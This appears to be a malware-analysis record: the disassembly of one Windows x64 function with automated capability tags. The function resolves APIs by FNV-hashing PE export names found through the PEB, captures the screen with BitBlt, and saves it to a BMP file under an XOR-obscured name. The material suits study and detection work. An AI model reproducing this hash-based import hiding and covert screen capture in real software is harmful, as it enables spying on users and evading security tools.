Function at 0x14000be70
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rax, qword [0x14001a838]
test rax, rax
jne 0x14000bf67
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000bf48
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000bf48
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x5cbbf3a2
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14000bf43
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x14000bf20
cmp edx, 0x5d627367
je 0x14000c533
test r8d, r8d
jne 0x14000bf00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000bf5e
cmp qword [rax + 0x30], 0
jne 0x14000bed0
xor eax, eax
mov qword [0x14001a838], rax
xor ecx, ecx
call rax
mov rdx, qword [0x14001a830]
mov r15, rax
mov qword [rbp - 0x21], rax
test rdx, rdx
jne 0x14000c037
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c018
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c018
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x61be3a18
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c013
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000bff0
cmp edx, 0xff54fea3
je 0x14000c54f
test r8d, r8d
jne 0x14000bfd0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c02e
cmp qword [rax + 0x30], 0
jne 0x14000bfa0
xor edx, edx
mov qword [0x14001a830], rdx
mov rcx, r15
call rdx
mov rdx, qword [0x14001a828]
mov qword [rbp - 0x29], rax
test rdx, rdx
jne 0x14000c107
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c0e8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c0e8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xeac1505a
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c0e3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000c0c0
cmp edx, 0x6096b798
je 0x14000c56b
test r8d, r8d
jne 0x14000c0a0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c0fe
cmp qword [rax + 0x30], 0
jne 0x14000c070
xor edx, edx
mov qword [0x14001a828], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14001a820]
mov r13d, eax
test rdx, rdx
jne 0x14000c1d7
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c1b8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c1b8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x539b91cc
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c1b3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000c190
cmp edx, 0xc096fba
je 0x14000c587
test r8d, r8d
jne 0x14000c170
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c1ce
cmp qword [rax + 0x30], 0
jne 0x14000c140
xor edx, edx
mov qword [0x14001a820], rdx
mov ecx, 1
call rdx
mov r8d, eax
mov edx, r13d
mov rcx, r15
mov r14d, eax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rbx, qword [rbp - 0x29]
mov rdx, rax
mov rcx, rbx
mov r15, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov r9d, r13d
mov r12, rax
xor r8d, r8d
xor eax, eax
xor edx, edx
mov dword [rsp + 0x38], eax
mov rcx, rbx
mov dword [rsp + 0x30], eax
mov rax, qword [rbp - 0x21]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
call qword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [0x140015680]
xor edi, edi
movsd xmm0, qword [0x140015678]
mov ecx, r14d
mov dword [rbp - 0x31], eax
neg ecx
cmp dword [section..data], 2
mov r8d, edi
movzx eax, word [0x140015684]
mov word [rbp - 0x2d], ax
movzx eax, byte [0x140015686]
mov byte [rbp - 0x2b], al
mov dword [rbp - 0x11], 0x28
mov dword [rbp - 0xd], r13d
mov dword [rbp - 9], ecx
mov qword [rbp - 5], 0x180001
mov qword [rbp + 3], rdi
mov qword [rbp + 0xb], rdi
mov dword [rbp + 0x13], edi
movsd qword [rbp - 0x39], xmm0
jl 0x14000c393
movdqa xmm2, xmmword [0x140016030]
mov r8d, 8
movdqa xmm4, xmmword [0x140016090]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140016040]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140016050]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x140015678]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140016070]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888O]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x39], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140016050]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x35]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140016070]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888O]
xorps xmm2, xmm0
movd dword [rbp - 0x35], xmm2
movsxd rax, r8d
lea r9, [rbp - 0x39]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14000c3a0
mov qword [rsp + 0x30], rdi
lea rcx, [rbp - 0x39]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000c4dc
mov ecx, r14d
mov dword [rbp + 0x21], 0x36
imul ecx, r13d
lea r9, [rbp - 0x19]
mov eax, 0x4d42
mov qword [rsp + 0x20], rdi
mov r8d, 0xe
mov word [rbp + 0x17], ax
lea rdx, [rbp + 0x17]
add ecx, 0x12
lea ecx, [rcx + rcx*2]
mov dword [rbp + 0x19], ecx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp - 0x19]
mov qword [rsp + 0x20], rdi
mov r8d, 0x28
lea rdx, [rbp - 0x11]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
movzx eax, word [rbp - 3]
imul eax, r13d
add eax, 0x1f
cdq
and edx, 0x1f
lea edi, [rdx + rax]
sar edi, 5
imul edi, r14d
shl edi, 2
mov ecx, edi
call fcn.14001320c
mov rcx, qword [rbp - 0x29]
mov rbx, rax
lea rax, [rbp - 0x11]
xor r13d, r13d
mov dword [rsp + 0x30], r13d
mov r9d, r14d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.GDI32.dll_GetDIBits]
lea r9, [rbp - 0x19]
mov qword [rsp + 0x20], r13
mov r8d, edi
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call fcn.140013204
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbp - 0x29]
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, qword [rbp - 0x21]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140013320
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000bf60
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edx, dword [rcx + rdx*4]
add rdx, r9
jmp 0x14000c030
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edx, dword [rcx + rdx*4]
add rdx, r9
jmp 0x14000c100
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edx, dword [rcx + rdx*4]
add rdx, r9
jmp 0x14000c1d0